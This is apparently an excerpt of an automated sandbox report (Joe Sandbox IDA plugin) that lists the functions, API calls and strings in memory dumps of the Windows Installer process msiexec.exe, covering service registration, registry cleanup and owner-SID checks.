Part of subcall function 0000000100006600: RegSetValueExW.ADVAPI32 ref: 0000000100006BB5
Part of subcall function 0000000100006600: RegCloseKey.ADVAPI32 ref: 0000000100006BC7
Part of subcall function 0000000100006600: LoadLibraryW.KERNEL32 ref: 0000000100006BEC
Part of subcall function 0000000100006600: GetProcAddress.KERNEL32 ref: 0000000100006C08

#222.MSI ref: 0000000100008AA9

Part of subcall function 000000010000DE34: memset.MSVCRT ref: 000000010000DE7B
Part of subcall function 000000010000DE34: GetModuleFileNameW.KERNEL32 ref: 000000010000DE93
Part of subcall function 000000010000DE34: GetLastError.KERNEL32 ref: 000000010000DE9E
Part of subcall function 000000010000DE34: memset.MSVCRT ref: 000000010000DF0B
Part of subcall function 000000010000DE34: #197.MSI ref: 000000010000DF30
Part of subcall function 000000010000DE34: #197.MSI ref: 000000010000DF55
Part of subcall function 000000010000DE34: OpenSCManagerW.ADVAPI32 ref: 000000010000DF64
Part of subcall function 000000010000DE34: Sleep.KERNEL32 ref: 000000010000DF83
Part of subcall function 000000010000DE34: CreateServiceW.ADVAPI32 ref: 000000010000DFE2
Part of subcall function 000000010000DE34: GetLastError.KERNEL32 ref: 000000010000DFF0
Part of subcall function 000000010000DE34: #197.MSI ref: 000000010000E032
Part of subcall function 000000010000DE34: #197.MSI ref: 000000010000E05A
Part of subcall function 000000010000DE34: CloseServiceHandle.ADVAPI32 ref: 000000010000E082
Part of subcall function 000000010000DE34: CloseServiceHandle.ADVAPI32 ref: 000000010000E08B
Part of subcall function 000000010000DE34: GetLastError.KERNEL32 ref: 000000010000E093

Part of subcall function 000000010000DCA8: OpenSCManagerW.ADVAPI32 ref: 000000010000DCCA
Part of subcall function 000000010000DCA8: OpenServiceW.ADVAPI32 ref: 000000010000DCEC
Part of subcall function 000000010000DCA8: memset.MSVCRT ref: 000000010000DD09
Part of subcall function 000000010000DCA8: ControlService.ADVAPI32 ref: 000000010000DD19
Part of subcall function 000000010000DCA8: Sleep.KERNEL32 ref: 000000010000DD44
Part of subcall function 000000010000DCA8: QueryServiceStatus.ADVAPI32 ref: 000000010000DD52
Part of subcall function 000000010000DCA8: GetLastError.KERNEL32 ref: 000000010000DD6C
Part of subcall function 000000010000DCA8: DeleteService.ADVAPI32 ref: 000000010000DDAD
Part of subcall function 000000010000DCA8: GetLastError.KERNEL32 ref: 000000010000DDB8
Part of subcall function 000000010000DCA8: CloseServiceHandle.ADVAPI32 ref: 000000010000DDC3
Part of subcall function 000000010000DCA8: GetLastError.KERNEL32 ref: 000000010000DDCB
Part of subcall function 000000010000DCA8: CloseServiceHandle.ADVAPI32 ref: 000000010000DDF7
Part of subcall function 000000010000DCA8: GetLastError.KERNEL32 ref: 000000010000DDFF

Part of subcall function 000000010000AA68: GetModuleFileNameW.KERNEL32 ref: 000000010000AAAF
Part of subcall function 000000010000AA68: GetLastError.KERNEL32 ref: 000000010000AAB9
Part of subcall function 000000010000AA68: RegCreateKeyExW.ADVAPI32 ref: 000000010000AB9A
Part of subcall function 000000010000AA68: lstrlenW.KERNEL32 ref: 000000010000ABCD
Part of subcall function 000000010000AA68: RegSetValueExW.ADVAPI32 ref: 000000010000ABF5
Part of subcall function 000000010000AA68: RegCloseKey.ADVAPI32 ref: 000000010000AC0C

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Part of subcall function 000000010000AD40: CoInitialize.OLE32 ref: 000000010000AD58
Part of subcall function 000000010000AD40: #222.MSI ref: 000000010000ADCD
Part of subcall function 000000010000AD40: CoUninitialize.OLE32 ref: 000000010000ADD2

Strings

egserverca, xrefs: 00000001000089F9
egserver, xrefs: 0000000100008A1C
egnoservice, xrefs: 0000000100008978

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100008B68, Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 72string

APIs

memset.MSVCRT ref: 0000000100008B93
GetVersionExW.KERNEL32 ref: 0000000100008BA5
lstrcmpiW.KERNEL32 ref: 0000000100008BCA
lstrcmpiW.KERNEL32 ref: 0000000100008BDE
lstrcmpiW.KERNEL32 ref: 0000000100008BF2
lstrcmpiW.KERNEL32 ref: 0000000100008C06
CoInitialize.OLE32 ref: 0000000100008C19

Part of subcall function 0000000100006C54: RegDeleteKeyW.ADVAPI32 ref: 0000000100006D62
Part of subcall function 0000000100006C54: RegOpenKeyExW.ADVAPI32 ref: 0000000100006DBD
Part of subcall function 0000000100006C54: RegDeleteValueW.ADVAPI32 ref: 0000000100006DD4
Part of subcall function 0000000100006C54: RegDeleteValueW.ADVAPI32 ref: 0000000100006DE6
Part of subcall function 0000000100006C54: RegCloseKey.ADVAPI32 ref: 0000000100006DF1

CoUninitialize.OLE32 ref: 0000000100008C56

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Part of subcall function 000000010000AC20: RegOpenKeyExW.ADVAPI32 ref: 000000010000ACA8
Part of subcall function 000000010000AC20: RegEnumKeyW.ADVAPI32 ref: 000000010000ACC2
Part of subcall function 000000010000AC20: RegDeleteKeyW.ADVAPI32 ref: 000000010000ACDB
Part of subcall function 000000010000AC20: RegCloseKey.ADVAPI32 ref: 000000010000ACE6

Part of subcall function 000000010000A9AC: GetVersionExW.KERNEL32 ref: 000000010000A9D2

Part of subcall function 000000010000DCA8: OpenSCManagerW.ADVAPI32 ref: 000000010000DCCA
Part of subcall function 000000010000DCA8: OpenServiceW.ADVAPI32 ref: 000000010000DCEC
Part of subcall function 000000010000DCA8: memset.MSVCRT ref: 000000010000DD09
Part of subcall function 000000010000DCA8: ControlService.ADVAPI32 ref: 000000010000DD19
Part of subcall function 000000010000DCA8: Sleep.KERNEL32 ref: 000000010000DD44
Part of subcall function 000000010000DCA8: QueryServiceStatus.ADVAPI32 ref: 000000010000DD52
Part of subcall function 000000010000DCA8: GetLastError.KERNEL32 ref: 000000010000DD6C
Part of subcall function 000000010000DCA8: DeleteService.ADVAPI32 ref: 000000010000DDAD
Part of subcall function 000000010000DCA8: GetLastError.KERNEL32 ref: 000000010000DDB8
Part of subcall function 000000010000DCA8: CloseServiceHandle.ADVAPI32 ref: 000000010000DDC3
Part of subcall function 000000010000DCA8: GetLastError.KERNEL32 ref: 000000010000DDCB
Part of subcall function 000000010000DCA8: CloseServiceHandle.ADVAPI32 ref: 000000010000DDF7
Part of subcall function 000000010000DCA8: GetLastError.KERNEL32 ref: 000000010000DDFF

Strings

nreg, xrefs: 0000000100008BFC
nregservice, xrefs: 0000000100008BE8
nregserver, xrefs: 0000000100008BD4
nregister, xrefs: 0000000100008BC0

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000A164, Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 93

APIs

GetSecurityDescriptorOwner.ADVAPI32 ref: 000000010000A174
GetLastError.KERNEL32 ref: 000000010000A17E
EqualSid.ADVAPI32 ref: 000000010000A2C8

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

Part of subcall function 0000000100005350: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000053C2
Part of subcall function 0000000100005350: GetLastError.KERNEL32 ref: 00000001000053CC
Part of subcall function 0000000100005350: GetLengthSid.ADVAPI32 ref: 00000001000053D9
Part of subcall function 0000000100005350: FreeSid.ADVAPI32 ref: 00000001000053F0
Part of subcall function 0000000100005350: GetLengthSid.ADVAPI32 ref: 00000001000053FD
Part of subcall function 0000000100005350: memcpy.MSVCRT ref: 0000000100005415
Part of subcall function 0000000100005350: FreeSid.ADVAPI32 ref: 000000010000542E

Part of subcall function 000000010000523C: AllocateAndInitializeSid.ADVAPI32 ref: 00000001000052B3
Part of subcall function 000000010000523C: GetLastError.KERNEL32 ref: 00000001000052BD
Part of subcall function 000000010000523C: GetLengthSid.ADVAPI32 ref: 00000001000052CA
Part of subcall function 000000010000523C: FreeSid.ADVAPI32 ref: 00000001000052E1
Part of subcall function 000000010000523C: GetLengthSid.ADVAPI32 ref: 00000001000052EE
Part of subcall function 000000010000523C: FreeSid.ADVAPI32 ref: 000000010000531F

EqualSid.ADVAPI32 ref: 000000010000A1D8
EqualSid.ADVAPI32 ref: 000000010000A221
RtlNtStatusToDosError.NTDLL ref: 000000010000A29A

Strings

FIsOwnerSystemOrAdminOrTrustedInstallers: Cannot obtain local system SID., xrefs: 000000010000A1CF
Trusted Installer, xrefs: 000000010000A23E
FIsOwnerSystemOrAdminOrTrustedInstallers: Cannot obtain Admin SID., xrefs: 000000010000A210
FIsOwnerSystemOrAdminOrTrustedInstallers: Cannot obtain Trusted Installers SID., xrefs: 000000010000A2B4
FIsOwnerSystemOrAdminOrTrustedInstallers: Unable to get owner SID from security descriptor., xrefs: 000000010000A184

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000E260, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102registry

APIs

RegOpenKeyExW.ADVAPI32 ref: 000000010000E29A
memset.MSVCRT ref: 000000010000E2BE
RegEnumKeyExW.ADVAPI32 ref: 000000010000E326
RegCloseKey.ADVAPI32 ref: 000000010000E33C
RegDeleteKeyW.ADVAPI32 ref: 000000010000E348
memset.MSVCRT ref: 000000010000E36C

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

RegCloseKey.ADVAPI32 ref: 000000010000E3A7
GlobalFree.KERNEL32 ref: 000000010000E3BD
GlobalFree.KERNEL32 ref: 000000010000E3D7

Strings

FDeleteRegTree: Unable to delete subkey: %s, xrefs: 000000010000E371

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000A680, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 94registry

APIs

RegOpenKeyExW.ADVAPI32 ref: 000000010000A6E1
GlobalFree.KERNEL32 ref: 000000010000A7E7

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

Part of subcall function 000000010000A110: ReportEventW.ADVAPI32 ref: 000000010000A147

GlobalFree.KERNEL32 ref: 000000010000A72A

Part of subcall function 000000010000A2E0: RegGetKeySecurity.ADVAPI32 ref: 000000010000A32D
Part of subcall function 000000010000A2E0: GlobalAlloc.KERNEL32 ref: 000000010000A350
Part of subcall function 000000010000A2E0: GlobalFree.KERNEL32 ref: 000000010000A374
Part of subcall function 000000010000A2E0: RegGetKeySecurity.ADVAPI32 ref: 000000010000A393
Part of subcall function 000000010000A2E0: GlobalFree.KERNEL32 ref: 000000010000A3B7
Part of subcall function 000000010000A2E0: GlobalFree.KERNEL32 ref: 000000010000A3D9

RegisterEventSourceW.ADVAPI32 ref: 000000010000A753

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

Part of subcall function 000000010000E260: RegOpenKeyExW.ADVAPI32 ref: 000000010000E29A
Part of subcall function 000000010000E260: memset.MSVCRT ref: 000000010000E2BE
Part of subcall function 000000010000E260: RegEnumKeyExW.ADVAPI32 ref: 000000010000E326
Part of subcall function 000000010000E260: RegCloseKey.ADVAPI32 ref: 000000010000E33C
Part of subcall function 000000010000E260: RegDeleteKeyW.ADVAPI32 ref: 000000010000E348
Part of subcall function 000000010000E260: memset.MSVCRT ref: 000000010000E36C
Part of subcall function 000000010000E260: RegCloseKey.ADVAPI32 ref: 000000010000E3A7
Part of subcall function 000000010000E260: GlobalFree.KERNEL32 ref: 000000010000E3BD
Part of subcall function 000000010000E260: GlobalFree.KERNEL32 ref: 000000010000E3D7

Part of subcall function 000000010000A40C: memset.MSVCRT ref: 000000010000A445
Part of subcall function 000000010000A40C: RegEnumKeyW.ADVAPI32 ref: 000000010000A488
Part of subcall function 000000010000A40C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A4B1
Part of subcall function 000000010000A40C: RegCloseKey.ADVAPI32 ref: 000000010000A4D8
Part of subcall function 000000010000A40C: RegisterEventSourceW.ADVAPI32 ref: 000000010000A4F1
Part of subcall function 000000010000A40C: RegCloseKey.ADVAPI32 ref: 000000010000A568
Part of subcall function 000000010000A40C: GlobalFree.KERNEL32 ref: 000000010000A5BF
Part of subcall function 000000010000A40C: GlobalFree.KERNEL32 ref: 000000010000A5ED
Part of subcall function 000000010000A40C: GlobalFree.KERNEL32 ref: 000000010000A61A
Part of subcall function 000000010000A40C: GlobalFree.KERNEL32 ref: 000000010000A648

RegCloseKey.ADVAPI32 ref: 000000010000A7D6

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

PurgeUserOwnedInstallerKeys: Key '%s' not owned by System, Admin, or Trusted Installers. Deleting key + subkeys., xrefs: 000000010000A77F
Software\Classes\Installer, xrefs: 000000010000A6AF
PurgeUserOwnedInstallerKeys: Could not delete tree., xrefs: 000000010000A7B3
MsiInstaller, xrefs: 000000010000A745
PurgeUserOwnedInstallerKeys: Could not open key '%s', xrefs: 000000010000A700

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100006C54, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 122registry

APIs

Part of subcall function 0000000100004F60: _vsnwprintf.MSVCRT ref: 0000000100004F9E

RegDeleteKeyW.ADVAPI32 ref: 0000000100006D62
RegOpenKeyExW.ADVAPI32 ref: 0000000100006DBD
RegDeleteValueW.ADVAPI32 ref: 0000000100006DD4
RegDeleteValueW.ADVAPI32 ref: 0000000100006DE6
RegCloseKey.ADVAPI32 ref: 0000000100006DF1

Part of subcall function 000000010000A9AC: GetVersionExW.KERNEL32 ref: 000000010000A9D2

Part of subcall function 0000000100006554: RegDeleteKeyW.ADVAPI32 ref: 00000001000065AE

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

{%08lX-0000-0000-C000-000000000046}, xrefs: 0000000100006C9F
Software\Microsoft\Windows\CurrentVersion\Installer, xrefs: 0000000100006DA1
InstallerLocation, xrefs: 0000000100006DCD
MsiExecCA64, xrefs: 0000000100006DDF

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000A2E0, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 72registry

APIs

RegGetKeySecurity.ADVAPI32 ref: 000000010000A32D
GlobalAlloc.KERNEL32 ref: 000000010000A350
GlobalFree.KERNEL32 ref: 000000010000A374
RegGetKeySecurity.ADVAPI32 ref: 000000010000A393

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

GlobalFree.KERNEL32 ref: 000000010000A3B7

Part of subcall function 000000010000A164: GetSecurityDescriptorOwner.ADVAPI32 ref: 000000010000A174
Part of subcall function 000000010000A164: GetLastError.KERNEL32 ref: 000000010000A17E
Part of subcall function 000000010000A164: EqualSid.ADVAPI32 ref: 000000010000A1D8
Part of subcall function 000000010000A164: EqualSid.ADVAPI32 ref: 000000010000A221
Part of subcall function 000000010000A164: RtlNtStatusToDosError.NTDLL ref: 000000010000A29A
Part of subcall function 000000010000A164: EqualSid.ADVAPI32 ref: 000000010000A2C8

GlobalFree.KERNEL32 ref: 000000010000A3D9

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

@, xrefs: 000000010000A3CB
FIsKeyLocalSystemOrAdminOrTrustedInstallersOwned: Could not get owner security info., xrefs: 000000010000A39D
@, xrefs: 000000010000A325

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000E168, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52threadregistry

APIs

RegisterServiceCtrlHandlerW.ADVAPI32 ref: 000000010000E17C
GetLastError.KERNEL32 ref: 000000010000E18E

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

Part of subcall function 000000010000714C: EnterCriticalSection.KERNEL32 ref: 000000010000716F
Part of subcall function 000000010000714C: SetServiceStatus.ADVAPI32 ref: 00000001000071FA
Part of subcall function 000000010000714C: GetLastError.KERNEL32 ref: 0000000100007206
Part of subcall function 000000010000714C: LeaveCriticalSection.KERNEL32 ref: 0000000100007223

CreateThread.KERNEL32 ref: 000000010000E1EC
GetLastError.KERNEL32 ref: 000000010000E1FA
CloseHandle.KERNEL32 ref: 000000010000E22B
SetConsoleCtrlHandler.KERNEL32 ref: 000000010000E24E

Strings

RegisterServiceCtrlHandler failed., xrefs: 000000010000E194
MSIServer, xrefs: 000000010000E175

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000AA0C, Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 25library

APIs

LoadLibraryW.KERNEL32 ref: 000000010000AA19
GetProcAddress.KERNEL32 ref: 000000010000AA31
FreeLibrary.KERNEL32 ref: 000000010000AA45
FreeLibrary.KERNEL32 ref: 000000010000AA52

Strings

@dw, xrefs: 000000010000AA19
QueryInstanceCount, xrefs: 000000010000AA27
Msi.dll, xrefs: 000000010000AA12
Zw, xrefs: 000000010000AA45, 000000010000AA52

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 0000000100009D48, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 90

APIs

#148.MSI ref: 0000000100009E28
#148.MSI ref: 0000000100009E68
#148.MSI ref: 0000000100009EAC
WideCharToMultiByte.KERNEL32 ref: 0000000100009EDC
#8.MSI ref: 0000000100009EEA

Strings

@, xrefs: 0000000100009E9F
@, xrefs: 0000000100009ECF

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 0000000100016AC0, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 73stringlibrary

APIs

memset.MSVCRT ref: 0000000100016B00
lstrlenW.KERNEL32 ref: 0000000100016B15
GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
LoadLibraryW.KERNEL32 ref: 0000000100016B9A

Part of subcall function 00000001000170F0: OpenFileMappingW.KERNELBASE ref: 000000010001710A
Part of subcall function 00000001000170F0: MapViewOfFile.KERNEL32 ref: 0000000100017136
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 000000010001717E
Part of subcall function 00000001000170F0: VirtualAlloc.KERNELBASE ref: 00000001000171AD

Strings

@dw, xrefs: 0000000100016B9A
ew, xrefs: 0000000100016B44
.DLL, xrefs: 0000000100016B77

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 0000000100014395, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 63librarysleep

APIs

Sleep.KERNEL32 ref: 00000001000143C2
GetModuleHandleW.KERNEL32 ref: 00000001000143F3
LoadLibraryW.KERNEL32 ref: 0000000100014405

Part of subcall function 0000000100016AC0: memset.MSVCRT ref: 0000000100016B00
Part of subcall function 0000000100016AC0: lstrlenW.KERNEL32 ref: 0000000100016B15
Part of subcall function 0000000100016AC0: GetSystemDirectoryW.KERNEL32 ref: 0000000100016B44
Part of subcall function 0000000100016AC0: LoadLibraryW.KERNEL32 ref: 0000000100016B9A

GetProcAddress.KERNEL32 ref: 000000010001443D

Strings

@dw, xrefs: 0000000100014405
GetCORSystemDirectory, xrefs: 0000000100014436
MSCOREE, xrefs: 00000001000143EC, 00000001000143F9

Memory Dump Source

Source File: 00000005.00000002.16984227368.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000002.16984163757.0000000100000000.00000002.sdmp
Associated: 00000005.00000002.16984503497.000000010001A000.00000008.sdmp
Associated: 00000005.00000002.16984573059.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_100000000_msiexec.jbxd

Function 0000000100016DAC, Relevance: 10.6, APIs: 7, Instructions: 130sleep

APIs

GetStartupInfoW.KERNEL32 ref: 0000000100016DC9
Sleep.KERNEL32 ref: 0000000100016DFD
_amsg_exit.MSVCRT ref: 0000000100016E13
_initterm.MSVCRT ref: 0000000100016E98

Part of subcall function 000000010000DC34: ExitProcess.KERNEL32 ref: 000000010000DC92

exit.MSVCRT ref: 0000000100016F4B
_cexit.MSVCRT ref: 0000000100016F5A
_ismbblead.MSVCRT ref: 0000000100016F7D

Memory Dump Source

Source File: 00000005.00000001.16869031651.0000000100001000.00000020.sdmp, Offset: 0000000100000000, based on PE: true

Associated: 00000005.00000001.16869015640.0000000100000000.00000002.sdmp
Associated: 00000005.00000001.16869296379.000000010001A000.00000008.sdmp
Associated: 00000005.00000001.16869324271.000000010001F000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_1_100000000_msiexec.jbxd

Function 000000010000B398, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 124

APIs

IsCharAlphaNumericW.USER32 ref: 000000010000B3C6

Part of subcall function 000000010000A81C: GetLastError.KERNEL32 ref: 000000010000A842
Part of subcall function 000000010000A81C: RegOpenKeyExW.ADVAPI32 ref: 000000010000A885
Part of subcall function 000000010000A81C: RegQueryValueExW.ADVAPI32 ref: 000000010000A8CF
Part of subcall function 000000010000A81C: RegCloseKey.ADVAPI32 ref: 000000010000A8EE
Part of subcall function 000000010000A81C: GlobalFree.KERNEL32 ref: 000000010000A900
Part of subcall function 000000010000A81C: memset.MSVCRT ref: 000000010000A92C
Part of subcall function 000000010000A81C: OutputDebugStringW.KERNEL32 ref: 000000010000A973
Part of subcall function 000000010000A81C: SetLastError.KERNEL32 ref: 000000010000A97B

GlobalFree.KERNEL32 ref: 000000010000B4B6
GlobalAlloc.KERNEL32 ref: 000000010000B4DF
StringCchCopyNW.MUILOAD ref: 000000010000B505

Strings

Property value is too long., xrefs: 000000010000B48F
%, xrefs: 000000010000B3BA

Memory Dump Source

